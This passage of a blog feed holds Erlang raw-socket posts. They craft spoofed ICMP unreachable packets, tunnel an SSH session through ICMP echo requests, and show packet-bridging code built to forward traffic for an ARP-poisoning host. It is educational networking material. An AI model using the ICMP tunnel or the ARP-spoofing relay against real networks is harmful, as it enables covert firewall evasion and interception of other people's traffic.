class="Constant"&gt;123&lt;/span&gt;,&lt;span class="Constant"&gt;0&lt;/span&gt;,&lt;span class="Constant"&gt;126270&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt;,&lt;br /&gt;      &lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="Constant"&gt;&amp;quot; !&lt;/span&gt;&lt;span class="Special"&gt;\&amp;quot;&lt;/span&gt;&lt;span class="Constant"&gt;#$%&amp;amp;'()*+,-./0123456789:;&amp;lt;=&amp;gt;?@ABCDEFGHIJK&amp;quot;&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="Special"&gt;}}&lt;/span&gt;,&lt;br /&gt;     &lt;span class="Special"&gt;{&lt;/span&gt;&lt;span class="Constant"&gt;ok&lt;/span&gt;,&lt;span class="Special"&gt;{&lt;/span&gt;&lt;span class="Constant"&gt;69&lt;/span&gt;,&lt;span class="Constant"&gt;147&lt;/span&gt;,&lt;span class="Constant"&gt;125&lt;/span&gt;,&lt;span class="Constant"&gt;65&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt;,&lt;br /&gt;     &lt;span class="Special"&gt;{{&lt;/span&gt;&lt;span class="Constant"&gt;123&lt;/span&gt;,&lt;span class="Constant"&gt;0&lt;/span&gt;,&lt;span class="Constant"&gt;29377&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt;,&lt;br /&gt;      &lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="Constant"&gt;&amp;quot; !&lt;/span&gt;&lt;span class="Special"&gt;\&amp;quot;&lt;/span&gt;&lt;span class="Constant"&gt;#$%&amp;amp;'()*+,-./0123456789:;&amp;lt;=&amp;gt;?@ABCDEFGHIJK&amp;quot;&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="Special"&gt;}}&lt;/span&gt;,&lt;br /&gt;     &lt;span class="Special"&gt;{&lt;/span&gt;&lt;span class="Constant"&gt;ok&lt;/span&gt;,&lt;span class="Special"&gt;{&lt;/span&gt;&lt;span class="Constant"&gt;192&lt;/span&gt;,&lt;span class="Constant"&gt;168&lt;/span&gt;,&lt;span class="Constant"&gt;213&lt;/span&gt;,&lt;span class="Constant"&gt;1&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt;,&lt;br /&gt;     &lt;span class="Special"&gt;{{&lt;/span&gt;&lt;span class="Constant"&gt;123&lt;/span&gt;,&lt;span class="Constant"&gt;0&lt;/span&gt;,&lt;span class="Constant"&gt;3586&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt;,&lt;br /&gt;      &lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="Constant"&gt;&amp;quot; !&lt;/span&gt;&lt;span class="Special"&gt;\&amp;quot;&lt;/span&gt;&lt;span class="Constant"&gt;#$%&amp;amp;'()*+,-./0123456789:;&amp;lt;=&amp;gt;?@ABCDEFGHIJK&amp;quot;&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="Special"&gt;}}&lt;/span&gt;&lt;span class="Special"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Constant"&gt;3&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&lt;/span&gt; gen_icmp:close(&lt;span class="Identifier"&gt;Socket&lt;/span&gt;).&lt;br /&gt;&lt;span class="Constant"&gt;ok&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;h2&gt;Creating Other ICMP Packet Types&lt;/h2&gt;&lt;br /&gt;ICMP destination unreachable and time exceeded packets return at least the first 64 bits of the header and payload of the original packet. Here is an example of generating an ICMP port unreachable for a fake TCP packet sent to port 80.&lt;br /&gt;&lt;pre class="Code"&gt;&lt;span class="Statement"&gt;-module&lt;/span&gt;(&lt;span class="Constant"&gt;icmperr&lt;/span&gt;).&lt;br /&gt;&lt;span class="Statement"&gt;-export&lt;/span&gt;(&lt;span class="Special"&gt;[&lt;/span&gt;&lt;span class="Constant"&gt;unreachable&lt;/span&gt;&lt;span class="Statement"&gt;/&lt;/span&gt;&lt;span class="Constant"&gt;3&lt;/span&gt;&lt;span class="Special"&gt;]&lt;/span&gt;).&lt;br /&gt;&lt;span class="PreProc"&gt;-include&lt;/span&gt;(&lt;span class="Constant"&gt;&amp;quot;epcap_net.hrl&amp;quot;&lt;/span&gt;).&lt;br /&gt;&lt;br /&gt;&lt;span class="PreProc"&gt;-define&lt;/span&gt;(&lt;span class="PreProc"&gt;IPV4HDRLEN&lt;/span&gt;, &lt;span class="Constant"&gt;20&lt;/span&gt;).&lt;br /&gt;&lt;span class="PreProc"&gt;-define&lt;/span&gt;(&lt;span class="PreProc"&gt;TCPHDRLEN&lt;/span&gt;, &lt;span class="Constant"&gt;20&lt;/span&gt;).&lt;br /&gt;&lt;br /&gt;unreachable(&lt;span class="Identifier"&gt;Saddr&lt;/span&gt;, &lt;span class="Identifier"&gt;Daddr&lt;/span&gt;, &lt;span class="Identifier"&gt;Data&lt;/span&gt;) &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;    &lt;span class="Special"&gt;{&lt;/span&gt;&lt;span class="Constant"&gt;ok&lt;/span&gt;, &lt;span class="Identifier"&gt;Socket&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt; &lt;span class="Statement"&gt;=&lt;/span&gt; gen_icmp:open(),&lt;br /&gt;&lt;br /&gt;    &lt;span class="Identifier"&gt;IP&lt;/span&gt; &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Type"&gt;#ipv4&lt;/span&gt;&lt;span class="Special"&gt;{&lt;/span&gt;&lt;br /&gt;        &lt;span class="Constant"&gt;p&lt;/span&gt; &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="PreProc"&gt;?IPPROTO_TCP&lt;/span&gt;,&lt;br /&gt;        &lt;span class="Constant"&gt;len&lt;/span&gt; &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="PreProc"&gt;?IPV4HDRLEN&lt;/span&gt; &lt;span class="Statement"&gt;+&lt;/span&gt; &lt;span class="PreProc"&gt;?TCPHDRLEN&lt;/span&gt; &lt;span class="Statement"&gt;+&lt;/span&gt; byte_size(&lt;span class="Identifier"&gt;Data&lt;/span&gt;),&lt;br /&gt;        &lt;span class="Constant"&gt;saddr&lt;/span&gt; &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;Daddr&lt;/span&gt;,&lt;br /&gt;        &lt;span class="Constant"&gt;daddr&lt;/span&gt; &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;Saddr&lt;/span&gt;&lt;br /&gt;    &lt;span class="Special"&gt;}&lt;/span&gt;,&lt;br /&gt;&lt;br /&gt;    &lt;span class="Identifier"&gt;TCP&lt;/span&gt; &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Type"&gt;#tcp&lt;/span&gt;&lt;span class="Special"&gt;{&lt;/span&gt;&lt;br /&gt;        &lt;span class="Constant"&gt;dport&lt;/span&gt; &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Constant"&gt;80&lt;/span&gt;,&lt;br /&gt;        &lt;span class="Constant"&gt;sport&lt;/span&gt; &lt;span class="Statement"&gt;=&lt;/span&gt; crypto:rand_uniform(&lt;span class="Constant"&gt;0&lt;/span&gt;, &lt;span class="Constant"&gt;16#FFFF&lt;/span&gt;),&lt;br /&gt;        &lt;span class="Constant"&gt;seqno&lt;/span&gt; &lt;span class="Statement"&gt;=&lt;/span&gt; crypto:rand_uniform(&lt;span class="Constant"&gt;0&lt;/span&gt;, &lt;span class="Constant"&gt;16#FFFF&lt;/span&gt;),&lt;br /&gt;        &lt;span class="Constant"&gt;syn&lt;/span&gt; &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Constant"&gt;1&lt;/span&gt;&lt;br /&gt;    &lt;span class="Special"&gt;}&lt;/span&gt;,&lt;br /&gt;&lt;br /&gt;    &lt;span class="Identifier"&gt;IPsum&lt;/span&gt; &lt;span class="Statement"&gt;=&lt;/span&gt; epcap_net:makesum(&lt;span class="Identifier"&gt;IP&lt;/span&gt;),&lt;br /&gt;    &lt;span class="Identifier"&gt;TCPsum&lt;/span&gt; &lt;span class="Statement"&gt;=&lt;/span&gt; epcap_net:makesum(&lt;span class="Special"&gt;[&lt;/span&gt;&lt;span class="Identifier"&gt;IP&lt;/span&gt;, &lt;span class="Identifier"&gt;TCP&lt;/span&gt;, &lt;span class="Identifier"&gt;Data&lt;/span&gt;&lt;span class="Special"&gt;]&lt;/span&gt;),&lt;br /&gt;&lt;br /&gt;    &lt;span class="Identifier"&gt;Packet&lt;/span&gt; &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;br /&gt;        (epcap_net:ipv4(&lt;span class="Identifier"&gt;IP&lt;/span&gt;&lt;span class="Type"&gt;#ipv4&lt;/span&gt;&lt;span class="Special"&gt;{&lt;/span&gt;&lt;span class="Constant"&gt;sum&lt;/span&gt; &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;IPsum&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt;))&lt;span class="Statement"&gt;/&lt;/span&gt;&lt;span class="Type"&gt;bits&lt;/span&gt;,&lt;br /&gt;        (epcap_net:tcp(&lt;span class="Identifier"&gt;TCP&lt;/span&gt;&lt;span class="Type"&gt;#tcp&lt;/span&gt;&lt;span class="Special"&gt;{&lt;/span&gt;&lt;span class="Constant"&gt;sum&lt;/span&gt; &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;TCPsum&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt;))&lt;span class="Statement"&gt;/&lt;/span&gt;&lt;span class="Type"&gt;bits&lt;/span&gt;,&lt;br /&gt;        &lt;span class="Identifier"&gt;Data&lt;/span&gt;&lt;span class="Statement"&gt;/&lt;/span&gt;&lt;span class="Type"&gt;bits&lt;/span&gt;&lt;br /&gt;        &lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt;,&lt;br /&gt;&lt;br /&gt;    &lt;span class="Identifier"&gt;ICMP&lt;/span&gt; &lt;span class="Statement"&gt;=&lt;/span&gt; gen_icmp:packet(&lt;span class="Special"&gt;[&lt;/span&gt;&lt;br /&gt;        &lt;span class="Special"&gt;{&lt;/span&gt;&lt;span class="Constant"&gt;type&lt;/span&gt;, &lt;span class="PreProc"&gt;?ICMP_DEST_UNREACH&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt;,&lt;br /&gt;        &lt;span class="Special"&gt;{&lt;/span&gt;&lt;span class="Constant"&gt;code&lt;/span&gt;, &lt;span class="PreProc"&gt;?ICMP_UNREACH_PORT&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt;&lt;br /&gt;    &lt;span class="Special"&gt;]&lt;/span&gt;, &lt;span class="Identifier"&gt;Packet&lt;/span&gt;),&lt;br /&gt;&lt;br /&gt;    &lt;span class="Constant"&gt;ok&lt;/span&gt; &lt;span class="Statement"&gt;=&lt;/span&gt; gen_icmp:send(&lt;span class="Identifier"&gt;Socket&lt;/span&gt;, &lt;span class="Identifier"&gt;Daddr&lt;/span&gt;, &lt;span class="Identifier"&gt;ICMP&lt;/span&gt;),&lt;br /&gt;    gen_icmp:close(&lt;span class="Identifier"&gt;Socket&lt;/span&gt;).&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;To create the IPv4 and TCP headers, we make the protocol records and use the epcap_net module functions to encode the headers with the proper checksums. For creating the ICMP packet, we use the gen_icmp:packet/2 function (which again simply calls epcap_net).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;ICMP Ping Tunnel&lt;/h2&gt;&lt;br /&gt;We can tunnel any data we like in the payload of an ICMP packet.  In this example, we'll use ICMP echo requests to tunnel an ssh connection between 2 hosts.  The ICMP echo replies sent back by the peer OS ensure the data was received, like the ACK in a TCP connection.&lt;br /&gt;&lt;br /&gt;The tunnel exports 2 functions:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;ptun:server(ClientAddress, LocalPort) -&gt; void()&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;Types   ClientAddress = tuple()&lt;br /&gt;            LocalPort = 0..65534&lt;br /&gt;&lt;br /&gt;    ClientAddress is the IPv4 address of the peer represented as a tuple.&lt;br /&gt;&lt;br /&gt;    The server listens on LocalPort for TCP connections and will close&lt;br /&gt;    the port after a TCP client connects.  Data received on this port&lt;br /&gt;    will be sent to the peer as the payload of the ICMP packets.&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;li&gt;ptun:client(ServerAddress, LocalPort) -&gt; void()&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;Types   ServerAddress = tuple()&lt;br /&gt;            LocalPort = 0..65534&lt;br /&gt;&lt;br /&gt;    ServerAddress is the IPv4 address of the peer.&lt;br /&gt;&lt;br /&gt;    When the client receives an ICMP echo request, the client opens a&lt;br /&gt;    TCP connection to the LocalPort on localhost, proxying the data.&lt;br /&gt;&lt;/pre&gt;&lt;/ul&gt;&lt;script src="https://gist.github.com/727821.js?file=ptun.erl"&gt;&lt;/script&gt; To start the tunnel, you'll need 2 hosts. In this example, 192.168.213.7 is the client and 192.168.213.119 is the server. 192.168.213.7 forwards any tunnelled data it receives to a local SSH server.  On 192.168.213.7:&lt;pre&gt;1&gt; ptun:client({192,168,213,119}, 22).&lt;br /&gt;&lt;/pre&gt;On 192.168.213.119:&lt;pre&gt;1&gt; ptun:server({192,168,213,7}, 8787).&lt;br /&gt;&lt;/pre&gt;Open another shell and start an SSH connection to port 8787 on localhost:&lt;pre&gt;ssh -p 8787 127.0.0.1&lt;br /&gt;&lt;...&gt;&lt;br /&gt;$ ifconfig eth0 | awk '/inet addr/{print $2}'&lt;br /&gt;addr:192.168.213.7&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8577871288924093307-60446710071297677?l=blog.listincomprehension.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.listincomprehension.com/feeds/60446710071297677/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.listincomprehension.com/2010/12/icmp-ping-in-erlang-part-2.html#comment-form' title='21 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/60446710071297677'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/60446710071297677'/><link rel='alternate' type='text/html' href='http://blog.listincomprehension.com/2010/12/icmp-ping-in-erlang-part-2.html' title='ICMP Ping in Erlang, part 2'/><author><name>Michael Santos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>21</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8577871288924093307.post-9138252798594104802</id><published>2010-11-14T11:28:00.003-05:00</published><updated>2010-11-14T20:55:40.482-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='erlang'/><title type='text'>Playing with Diagrams</title><content type='html'>&lt;a href="http://www.websequencediagrams.com/"&gt;websequencediagrams&lt;/a&gt; is a site that generates diagrams, sort of like &lt;a href="http://www.graphviz.org/"&gt;GraphViz&lt;/a&gt; or &lt;a href="http://www.diagrammr.com/"&gt;Diagrammr&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;The site has some sample code for generating the image files programmatically. Here is an example in Erlang:&lt;br /&gt;&lt;script src="https://gist.github.com/676318.js?file=wsd.erl"&gt;&lt;/script&gt;&lt;br /&gt;To generate an image from a description in a text file such as:&lt;br /&gt;&lt;pre&gt;client-&amp;gt;server: POST request containing style and message&lt;br /&gt;note right of server: server generates PNG file&lt;br /&gt;server-&amp;gt;client: server returns JSON containing image name&lt;br /&gt;client-&amp;gt;server: GET request for image&lt;br /&gt;server-&amp;gt;client: server returns PNG file&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Read the file into Erlang and render the description:&lt;br /&gt;&lt;pre&gt;inets:start(),&lt;br /&gt;{ok, Bin} = file:read_file("descr.txt"),&lt;br /&gt;wsd:render([{message, binary_to_list(Bin)}]).&lt;br /&gt;&lt;/pre&gt;The output looks like:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_VKBskse7x_4/TOANrJ5fV3I/AAAAAAAABpY/IAD59uo6aEc/s1600/mscnpqHex.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_VKBskse7x_4/TOANrJ5fV3I/AAAAAAAABpY/IAD59uo6aEc/s1600/mscnpqHex.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8577871288924093307-9138252798594104802?l=blog.listincomprehension.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.listincomprehension.com/feeds/9138252798594104802/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.listincomprehension.com/2010/11/playing-with-diagrams.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/9138252798594104802'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/9138252798594104802'/><link rel='alternate' type='text/html' href='http://blog.listincomprehension.com/2010/11/playing-with-diagrams.html' title='Playing with Diagrams'/><author><name>Michael Santos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_VKBskse7x_4/TOANrJ5fV3I/AAAAAAAABpY/IAD59uo6aEc/s72-c/mscnpqHex.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8577871288924093307.post-6909409933145031899</id><published>2010-10-26T20:56:00.003-04:00</published><updated>2010-10-27T08:48:28.905-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='fun with raw sockets'/><category scheme='http://www.blogger.com/atom/ns#' term='procket'/><title type='text'>Fun with Raw Sockets in Erlang: Bridging</title><content type='html'>Hosts connecting to another system on the same network map the protocol address (e.g., IPv4 address) of the destination host to a hardware address (e.g., ethernet MAC address) using the ARP protocol. Clients on different networks can communicate by having a device forward the packets between networks. These devices, usually multi-homed and spanning networks, forward packets by re-writing the packet headers: for example, the ethernet header (a bridge), the IP header (a router) or the IP and TCP headers (a NAT).&lt;br /&gt;&lt;p /&gt;An ethernet II header:&lt;br /&gt;&lt;ul class="Message"&gt;&lt;li class="Message"&gt;Preamble:42&lt;/li&gt;&lt;li class="Message"&gt;Start of Field Delimeter:8&lt;/li&gt;&lt;li class="Message"&gt;Destination Host:48&lt;/li&gt;&lt;li class="Message"&gt;Source Host:48&lt;/li&gt;&lt;li class="Message"&gt;Type:16&lt;/li&gt;&lt;li class="Message"&gt;Protocol Payload:N&lt;/li&gt;&lt;li class="Message"&gt;CRC:16&lt;/li&gt;&lt;/ul&gt;&lt;p/&gt;Not all of these fields will be visible to processes running on the operating system.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;The &lt;b&gt;Preamble&lt;/b&gt; starts the Ethernet frame (not available to the OS)&lt;br /&gt;&lt;li&gt;The &lt;b&gt;SOF Delimiter&lt;/b&gt; marks the start of the destination host address field (not available to the OS)&lt;br /&gt;&lt;li&gt;The &lt;b&gt;Destination Host&lt;/b&gt; is the 6 byte MAC address of the target host&lt;br /&gt;&lt;li&gt;The &lt;b&gt;Source Host&lt;/b&gt; is the 6 byte MAC address of the sending host&lt;br /&gt;&lt;li&gt;The &lt;b&gt;Type&lt;/b&gt; represents the protocol held in the payload. Common types are IPv4 (ETH_P_IP (16#0800)), ARP (ETH_P_ARP (16#0806)) and IPv6 (ETH_P_IPV6 (16#86DD)).&lt;br /&gt;&lt;li&gt;A trailing CRC checksum of the packet (frame check sequence) (usually not available to the OS)&lt;br /&gt;&lt;p/&gt;Ethernet frames can apparently &lt;a href="http://www.faqs.org/rfcs/rfc893.html"&gt;include other trailing data&lt;/a&gt;, leading to trailing junk when doing packet captures.&lt;br /&gt;&lt;p/&gt;When capturing data off the network, it's important to properly calculate the size of the packet. For example, for an IPv4 TCP packet:&lt;br /&gt;&lt;pre&gt;IP length - (IP header length * 4) - (TCP offset * 4)&lt;br /&gt;&lt;/pre&gt;&lt;/ul&gt;&lt;p/&gt;The ethernet header has fixed size fields and so does not explicitly include a field for length. Interestingly, Ethernet 802.3 frames use the &lt;em&gt;Type&lt;/em&gt; field for the length (&lt;a href="http://en.wikipedia.org/wiki/Ethernet_frame#Ethernet_II"&gt;according to Wikipedia&lt;/a&gt; 802.3 packets can be distinguished from Ethernet II packets by: &lt;ol&gt;&lt;li&gt;if the value of the Type field is equal to or less than 1500 bytes (maximum frame length), the frame is Ethernet 802.3 and the value represents the length of the frame&lt;br /&gt;&lt;li&gt;if the value of the Type field is equal to or greather than 1536, the frame is Ethernet II and the value represents the protocol type of the encapsulated packet&lt;br /&gt;&lt;p/&gt;The protocol of 802.3 frames is always IPX.&lt;br /&gt;&lt;li&gt;if the value of the Type field is between 1500 and 1536, the behaviour is undefined)&lt;br /&gt;&lt;/ol&gt;&lt;p/&gt;An Erlang binary representation of an Ethernet II frame: &lt;pre class="Code"&gt;&lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Identifier"&gt;Dhost&lt;/span&gt;:&lt;span class="Constant"&gt;6&lt;/span&gt;&lt;span class="Statement"&gt;/&lt;/span&gt;&lt;span class="Constant"&gt;bytes&lt;/span&gt;,        &lt;span class="Comment"&gt;% destination MAC address&lt;/span&gt;&lt;br /&gt;&lt;span class="Identifier"&gt;Shost&lt;/span&gt;:&lt;span class="Constant"&gt;6&lt;/span&gt;&lt;span class="Statement"&gt;/&lt;/span&gt;&lt;span class="Constant"&gt;bytes&lt;/span&gt;,        &lt;span class="Comment"&gt;% source MAC address&lt;/span&gt;&lt;br /&gt;&lt;span class="Identifier"&gt;Type&lt;/span&gt;:&lt;span class="Constant"&gt;16&lt;/span&gt;               &lt;span class="Comment"&gt;% protocol type, usually ETH_P_IP&lt;/span&gt;&lt;br /&gt;&lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;h2&gt;Using Erlang to Bridge Packets&lt;/h2&gt;To go along with the &lt;a href="http://blog.listincomprehension.com/2010/10/fun-with-raw-sockets-in-erlang-arp.html"&gt;ARP poisoning&lt;/a&gt;, we need a sort of "one armed bridging" to forward packets from our spoofing host to the real destinations. Once &lt;a href="http://github.com/msantos/herp/blob/master/src/herp.erl#L134"&gt;we have the raw ethernet frames&lt;/a&gt;, doing the bridging is quite simple. For the complete code, see &lt;a href="http://github.com/msantos/herp"&gt;herp&lt;/a&gt; on GitHub (yes, the herp is what you get when you've been promiscuous. I hear like 80% of adults have it). &lt;p/&gt;I won't include much of the code here because it's so trivial. The bridging process captures packets off the network and pattern matches on the headers: &lt;pre class="Code"&gt;filter(&lt;span class="Type"&gt;#ether&lt;/span&gt;&lt;span class="Special"&gt;{&lt;/span&gt;&lt;span class="Constant"&gt;shost&lt;/span&gt; &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;MAC&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt;, &lt;span class="Identifier"&gt;_&lt;/span&gt;, &lt;span class="Type"&gt;#state&lt;/span&gt;&lt;span class="Special"&gt;{&lt;/span&gt;&lt;span class="Constant"&gt;mac&lt;/span&gt; &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;MAC&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt;) &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;    &lt;span class="Constant"&gt;ok&lt;/span&gt;;&lt;br /&gt;filter(&lt;span class="Type"&gt;#ether&lt;/span&gt;&lt;span class="Special"&gt;{&lt;/span&gt;&lt;span class="Constant"&gt;type&lt;/span&gt; &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="PreProc"&gt;?ETH_P_IP&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt;, &lt;span class="Identifier"&gt;Packet&lt;/span&gt;, &lt;span class="Identifier"&gt;State&lt;/span&gt;) &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;    &lt;span class="Special"&gt;{&lt;/span&gt;&lt;span class="Type"&gt;#ipv4&lt;/span&gt;&lt;span class="Special"&gt;{&lt;/span&gt;&lt;span class="Constant"&gt;daddr&lt;/span&gt; &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;DA&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt;, &lt;span class="Identifier"&gt;_&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt; &lt;span class="Statement"&gt;=&lt;/span&gt; epcap_net:ipv4(&lt;span class="Identifier"&gt;Packet&lt;/span&gt;),&lt;br /&gt;    filter1(&lt;span class="Identifier"&gt;DA&lt;/span&gt;, &lt;span class="Identifier"&gt;Packet&lt;/span&gt;, &lt;span class="Identifier"&gt;State&lt;/span&gt;);&lt;br /&gt;filter(&lt;span class="Identifier"&gt;_&lt;/span&gt;, &lt;span class="Identifier"&gt;_&lt;/span&gt;, &lt;span class="Identifier"&gt;_&lt;/span&gt;) &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;    &lt;span class="Constant"&gt;ok&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;filter1(&lt;span class="Identifier"&gt;IP&lt;/span&gt;, &lt;span class="Identifier"&gt;_&lt;/span&gt;, &lt;span class="Type"&gt;#state&lt;/span&gt;&lt;span class="Special"&gt;{&lt;/span&gt;&lt;span class="Constant"&gt;ip&lt;/span&gt; &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;IP&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt;) &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;    &lt;span class="Constant"&gt;ok&lt;/span&gt;;&lt;br /&gt;filter1(&lt;span class="Identifier"&gt;IP&lt;/span&gt;, &lt;span class="Identifier"&gt;Packet&lt;/span&gt;, &lt;span class="Type"&gt;#state&lt;/span&gt;&lt;span class="Special"&gt;{&lt;/span&gt;&lt;span class="Constant"&gt;gw&lt;/span&gt; &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;GW&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt;) &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;    &lt;span class="Identifier"&gt;MAC&lt;/span&gt; &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Statement"&gt;case&lt;/span&gt; packet:arplookup(&lt;span class="Identifier"&gt;IP&lt;/span&gt;) &lt;span class="Statement"&gt;of&lt;/span&gt;&lt;br /&gt;        &lt;span class="Constant"&gt;false&lt;/span&gt; &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="Identifier"&gt;GW&lt;/span&gt;;&lt;br /&gt;        &lt;span class="Special"&gt;{&lt;/span&gt;&lt;span class="Identifier"&gt;M1&lt;/span&gt;,&lt;span class="Identifier"&gt;M2&lt;/span&gt;,&lt;span class="Identifier"&gt;M3&lt;/span&gt;,&lt;span class="Identifier"&gt;M4&lt;/span&gt;,&lt;span class="Identifier"&gt;M5&lt;/span&gt;,&lt;span class="Identifier"&gt;M6&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt; &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="Statement"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="Identifier"&gt;M1&lt;/span&gt;,&lt;span class="Identifier"&gt;M2&lt;/span&gt;,&lt;span class="Identifier"&gt;M3&lt;/span&gt;,&lt;span class="Identifier"&gt;M4&lt;/span&gt;,&lt;span class="Identifier"&gt;M5&lt;/span&gt;,&lt;span class="Identifier"&gt;M6&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;    &lt;span class="Statement"&gt;end&lt;/span&gt;,&lt;br /&gt;    bridge(&lt;span class="Identifier"&gt;MAC&lt;/span&gt;, &lt;span class="Identifier"&gt;Packet&lt;/span&gt;).&lt;br /&gt;&lt;/pre&gt;&lt;ol&gt;&lt;li&gt;Check if the frame has our MAC address&lt;br /&gt;&lt;li&gt;Retrieve the IP address from the frame and check the system ARP cache. A real bridge would monitor the network for ARP packets and cache the results.&lt;br /&gt;&lt;li&gt;If the IP exists in our ARP cache, use the MAC address, otherwise, send it to the gateway (it's possible the IP address does not exist in the system ARP cache and will be wrongly forwarded to the gateway)&lt;br /&gt;&lt;/ol&gt;If the frame should be bridged, we create a new frame with the source hardware address set to our host's MAC address. The IP header and payload are not 